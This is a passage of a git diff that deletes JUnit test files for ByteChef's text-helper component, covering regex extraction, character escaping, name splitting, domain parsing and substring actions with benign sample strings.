- * @author Nikolina Spehar
- */
-class TextHelperChangeTypeActionTest {
-
-    @Test
-    void testPerformValidNumber() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "42"));
-
-        double result = TextHelperChangeTypeAction.perform(mockedParameters, null, null);
-
-        assertEquals(42.0, result);
-    }
-
-    @Test
-    void testPerformInvalidNumber() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "not a number"));
-
-        assertThrows(ProviderException.class,
-            () -> TextHelperChangeTypeAction.perform(mockedParameters, null, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperEscapeCharactersActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperEscapeCharactersActionTest.java
deleted file mode 100644
index defdadfb845..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperEscapeCharactersActionTest.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ESCAPE_CHARACTERS;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperEscapeCharactersActionTest {
-
-    @Test
-    void testPerformSingleCharacterEscape() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "abc", ESCAPE_CHARACTERS, List.of("a")));
-
-        String result = TextHelperEscapeCharactersAction.perform(mockedParameters, null, null);
-
-        assertEquals("\\abc", result);
-    }
-
-    @Test
-    void testPerformMultipleCharactersEscape() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "Hello (World)?", ESCAPE_CHARACTERS, List.of("(", ")", "?")));
-
-        String result = TextHelperEscapeCharactersAction.perform(mockedParameters, null, null);
-
-        assertEquals("Hello \\(World\\)\\?", result);
-    }
-
-    @Test
-    void testPerformCharacterNotInTextNoChange() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "dog", ESCAPE_CHARACTERS, List.of("x")));
-
-        String result = TextHelperEscapeCharactersAction.perform(mockedParameters, null, null);
-
-        assertEquals("dog", result);
-    }
-
-    @Test
-    void testPerformEscapingSlashCharacter() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "C:\\Temp", ESCAPE_CHARACTERS, List.of("\\")));
-
-        String result = TextHelperEscapeCharactersAction.perform(mockedParameters, null, null);
-
-        assertEquals("C:\\\\Temp", result);
-    }
-
-    @Test
-    void testPerformEscapeNewLine() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "Happy \nNew Year!", ESCAPE_CHARACTERS, List.of("\n")));
-
-        String result = TextHelperEscapeCharactersAction.perform(mockedParameters, null, null);
-
-        assertEquals("Happy \\\nNew Year!", result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractAllRegExActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractAllRegExActionTest.java
deleted file mode 100644
index e305283c6a4..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractAllRegExActionTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperExtractAllRegExActionTest {
-
-    @Test
-    void testPerformSingleMatch() {
-        String input = "My email is test@example.com";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, REGULAR_EXPRESSION, regex));
-
-        List<String> result = TextHelperExtractAllRegExAction.perform(mockedParameters, null, null);
-
-        assertEquals(List.of("test@example.com"), result);
-    }
-
-    @Test
-    void testPerformMultipleMatches() {
-        String input = "Contact: test@example.com or admin@site.org";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, REGULAR_EXPRESSION, regex));
-
-        List<String> result = TextHelperExtractAllRegExAction.perform(mockedParameters, null, null);
-
-        assertEquals(2, result.size());
-        assertEquals(List.of("test@example.com", "admin@site.org"), result);
-    }
-
-    @Test
-    void testPerformNoMatch() {
-        String input = "No emails here!";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, REGULAR_EXPRESSION, regex));
-
-        List<String> result = TextHelperExtractAllRegExAction.perform(mockedParameters, null, null);
-
-        assertTrue(result.isEmpty());
-    }
-
-    @Test
-    void testExtractMatchesSpecialCharacters() {
-        String input = "Symbols: $var1 #tag @user";
-        String regex = "[$#@]\\w+";
-
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, REGULAR_EXPRESSION, regex));
-
-        List<String> result = TextHelperExtractAllRegExAction.perform(mockedParameters, null, null);
-
-        assertEquals(3, result.size());
-        assertEquals(List.of("$var1", "#tag", "@user"), result);
-    }
-
-    @Test
-    void testPerformCaptureGroups() {
-        String input = "He said \"Hello\" and she said \"Hi\"";
-        String regex = "\"([^\"]*)\"";
-
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, REGULAR_EXPRESSION, regex));
-
-        List<String> result = TextHelperExtractAllRegExAction.perform(mockedParameters, null, null);
-
-        assertEquals(2, result.size());
-        assertEquals(List.of("\"Hello\"", "\"Hi\""), result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractKeyRegExActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractKeyRegExActionTest.java
deleted file mode 100644
index 89db85c8f43..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractKeyRegExActionTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.KEY_VALUE_OBJECT;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperExtractKeyRegExActionTest {
-
-    @Test
-    void testPerform() {
-        Map<String, Object> keyValueMap = Map.of("noDigits", "val1", "key99", "val2", "another100", "val3");
-        String regex = "\\d+";
-
-        Parameters mockedParameters =
-            MockParametersFactory.create(Map.of(KEY_VALUE_OBJECT, keyValueMap, REGULAR_EXPRESSION, regex));
-
-        List<String> result = TextHelperExtractKeyRegExAction.perform(mockedParameters, null, null);
-
-        assertEquals(List.of("another100", "key99"), result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractRegExActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractRegExActionTest.java
deleted file mode 100644
index cf90e46a41e..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperExtractRegExActionTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperExtractRegExActionTest {
-
-    @Test
-    void testPerformSingleMatch() {
-        String input = "My email is test@example.com";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, REGULAR_EXPRESSION, regex));
-
-        String result = TextHelperExtractRegExAction.perform(mockedParameters, null, null);
-
-        assertEquals("test@example.com", result);
-    }
-
-    @Test
-    void testPerformMultipleMatches() {
-        String input = "Contact: test@example.com or admin@site.org";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, REGULAR_EXPRESSION, regex));
-
-        String result = TextHelperExtractRegExAction.perform(mockedParameters, null, null);
-
-        assertEquals("test@example.com", result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromEmailActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromEmailActionTest.java
deleted file mode 100644
index 953fd17191c..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromEmailActionTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperGetDomainFromEmailActionTest {
-
-    @Test
-    void testPerform() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "example@example.com"));
-
-        String result = TextHelperGetDomainFromEmailAction.perform(mockedParameters, null, null);
-
-        assertEquals("example.com", result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromUrlActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromUrlActionTest.java
deleted file mode 100644
index 0068484c6cc..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromUrlActionTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.net.MalformedURLException;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperGetDomainFromUrlActionTest {
-
-    @Test
-    void testPerform() throws MalformedURLException {
-        Parameters mockedParameters =
-            MockParametersFactory.create(Map.of(TEXT, "https://subdomain.site.org/index.html"));
-
-        String result = TextHelperGetDomainFromUrlAction.perform(mockedParameters, null, null);
-
-        assertEquals("subdomain.site.org", result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetFirstMiddleLastNameActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetFirstMiddleLastNameActionTest.java
deleted file mode 100644
index d1ec89e60cd..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetFirstMiddleLastNameActionTest.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.FIRST_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.FULL_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.IS_FIRST_NAME_FIRST;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.LAST_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MIDDLE_NAME;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperGetFirstMiddleLastNameActionTest {
-
-    private Parameters mockedParameters;
-
-    @Test
-    void testPerformWithTwoPartNameFirstNameFirst() {
-        mockedParameters = MockParametersFactory.create(Map.of(FULL_NAME, "John Doe", IS_FIRST_NAME_FIRST, true));
-
-        Map<String, String> result = TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null);
-
-        assertEquals(Map.of(FIRST_NAME, "John", MIDDLE_NAME, "", LAST_NAME, "Doe"), result);
-    }
-
-    @Test
-    void testPerformWithTwoPartNameLastNameFirst() {
-        mockedParameters = MockParametersFactory.create(Map.of(FULL_NAME, "Doe John", IS_FIRST_NAME_FIRST, false));
-
-        Map<String, String> result = TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null);
-
-        assertEquals(Map.of(FIRST_NAME, "John", MIDDLE_NAME, "", LAST_NAME, "Doe"), result);
-    }
-
-    @Test
-    void testPerformWithThreePartNameFirstNameFirst() {
-        mockedParameters = MockParametersFactory.create(
-            Map.of(FULL_NAME, "John Michael Doe", IS_FIRST_NAME_FIRST, true));
-
-        Map<String, String> result = TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null);
-
-        assertEquals(Map.of(FIRST_NAME, "John", MIDDLE_NAME, "Michael", LAST_NAME, "Doe"), result);
-    }
-
-    @Test
-    void testPerformWithThreePartNameLastNameFirst() {
-        mockedParameters = MockParametersFactory.create(
-            Map.of(FULL_NAME, "Doe Michael John", IS_FIRST_NAME_FIRST, false));
-
-        Map<String, String> result = TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null);
-
-        assertEquals(Map.of(FIRST_NAME, "John", MIDDLE_NAME, "Michael", LAST_NAME, "Doe"), result);
-    }
-
-    @Test
-    void testPerformNamesWithMultipleSpaces() {
-        mockedParameters = MockParametersFactory.create(Map.of(FULL_NAME, "John  Doe", IS_FIRST_NAME_FIRST, true));
-
-        Map<String, String> result = TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null);
-
-        assertEquals(Map.of(FIRST_NAME, "John", MIDDLE_NAME, "", LAST_NAME, "Doe"), result);
-    }
-
-    @Test
-    void testPerformThrowExceptionForSinglePartName() {
-        mockedParameters = MockParametersFactory.create(Map.of(FULL_NAME, "John", IS_FIRST_NAME_FIRST, true));
-
-        assertThrows(ArrayIndexOutOfBoundsException.class,
-            () -> TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null));
-    }
-
-    @Test
-    void testPerformHandleEmptyString() {
-        mockedParameters = MockParametersFactory.create(Map.of(FULL_NAME, "", IS_FIRST_NAME_FIRST, true));
-
-        assertThrows(ArrayIndexOutOfBoundsException.class,
-            () -> TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null));
-    }
-
-    @Test
-    void testPerformNamesWithSpecialCharacters() {
-        mockedParameters = MockParametersFactory.create(
-            Map.of(FULL_NAME, "Jean-Paul Sartre", IS_FIRST_NAME_FIRST, true));
-
-        Map<String, String> result = TextHelperGetFirstMiddleLastNameAction.perform(mockedParameters, null, null);
-
-        assertEquals(Map.of(FIRST_NAME, "Jean-Paul", MIDDLE_NAME, "", LAST_NAME, "Sartre"), result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextAfterActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextAfterActionTest.java
deleted file mode 100644
index 110bfe2ff6a..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextAfterActionTest.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MATCH_NUMBER;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.exception.ProviderException;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperGetTextAfterActionTest {
-
-    @Test
-    void testExtractAfterMatchNormalCase() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, "Hello world! This is a sample text. Hello again!",
-                PATTERN, "Hello",
-                MATCH_NUMBER, 2));
-
-        String result = TextHelperGetTextAfterAction.perform(mockedParameters, mockedParameters, null);
-
-        assertEquals(" again!", result);
-    }
-
-    @Test
-    void testExtractAfterMatchFirstOccurrence() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, "Hello world! Hello again!",
-                PATTERN, "Hello",
-                MATCH_NUMBER, 1));
-
-        String result = TextHelperGetTextAfterAction.perform(mockedParameters, mockedParameters, null);
-
-        assertEquals(" world! Hello again!", result);
-    }
-
-    @Test
-    void testExtractAfterMatchNotFound() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, "Hello world!",
-                PATTERN, "Hi",
-                MATCH_NUMBER, 1));
-
-        assertThrows(ProviderException.class,
-            () -> TextHelperGetTextAfterAction.perform(
-                mockedParameters, mockedParameters, null));
-    }
-
-    @Test
-    void testExtractAfterMatchMatchNumberTooHigh() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, "Hello world!",
-                PATTERN, "Hello",
-                MATCH_NUMBER, 2));
-
-        assertThrows(ProviderException.class,
-            () -> TextHelperGetTextAfterAction.perform(
-                mockedParameters, mockedParameters, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextBeforeActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextBeforeActionTest.java
deleted file mode 100644
index c0902873d1d..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextBeforeActionTest.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MATCH_NUMBER;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.exception.ProviderException;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperGetTextBeforeActionTest {
-
-    @Test
-    void testExtractBeforeMatchNormalCase() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, "Hello world! This is a sample text. Hello again!",
-                PATTERN, "Hello",
-                MATCH_NUMBER, 2));
-
-        String result = TextHelperGetTextBeforeAction.perform(mockedParameters, mockedParameters, null);
-
-        assertEquals("Hello world! This is a sample text. ", result);
-    }
-
-    @Test
-    void testExtractBeforeMatchFirstOccurrence() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "Hello world! Hello again!", PATTERN, "Hello", MATCH_NUMBER, 1));
-
-        String result = TextHelperGetTextBeforeAction.perform(mockedParameters, mockedParameters, null);
-
-        assertEquals("", result);
-    }
-
-    @Test
-    void testExtractBeforeMatchNotFound() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "Hello world!", PATTERN, "Hi", MATCH_NUMBER, 1));
-
-        assertThrows(ProviderException.class,
-            () -> TextHelperGetTextBeforeAction.perform(mockedParameters, mockedParameters, null));
-    }
-
-    @Test
-    void testExtractBeforeMatchMatchNumberTooHigh() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "Hello world!", PATTERN, "Hello", MATCH_NUMBER, 2));
-
-        assertThrows(ProviderException.class,
-            () -> TextHelperGetTextBeforeAction.perform(mockedParameters, mockedParameters, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextBetweenActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextBetweenActionTest.java
deleted file mode 100644
index 17dbdaece39..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextBetweenActionTest.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN_END;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN_START;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.exception.ProviderException;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperGetTextBetweenActionTest {
-
-    @Test
-    void testExtractBetweenNormalCase() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, "Hello world! This is a sample text. Hello again!", PATTERN_START, "Hello", PATTERN_END,
-                "again"));
-
-        String result = TextHelperGetTextBetweenAction.perform(mockedParameters, mockedParameters, null);
-
-        assertEquals(" world! This is a sample text. Hello ", result);
-    }
-
-    @Test
-    void testExtractBetweenMultipleMatches() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "A [first] B [second] C [third]", PATTERN_START, "[", PATTERN_END, "]"));
-
-        String result = TextHelperGetTextBetweenAction.perform(mockedParameters, mockedParameters, null);
-
-        assertEquals("first", result);
-    }
-
-    @Test
-    void testExtractBetweenStartPatternNotFound() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "No patterns here!", PATTERN_START, "Hello", PATTERN_END, "world"));
-
-        assertThrows(ProviderException.class,
-            () -> TextHelperGetTextBetweenAction.perform(mockedParameters, mockedParameters, null));
-    }
-
-    @Test
-    void testExtractBetweenEndPatternNotFound() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "Hello world!", PATTERN_START, "Hello", PATTERN_END, "Universe"));
-
-        assertThrows(ProviderException.class,
-            () -> TextHelperGetTextBetweenAction.perform(mockedParameters, mockedParameters, null));
-    }
-
-    @Test
-    void testExtractBetweenEmptyResult() {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(TEXT, "StartEnd", PATTERN_START, "Start", PATTERN_END, "End"));
-
-        String result = TextHelperGetTextBetweenAction.perform(mockedParameters, mockedParameters, null);
-
-        assertEquals("", result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextLengthActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextLengthActionTest.java
deleted file mode 100644
index 99aa2f0be9e..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperGetTextLengthActionTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
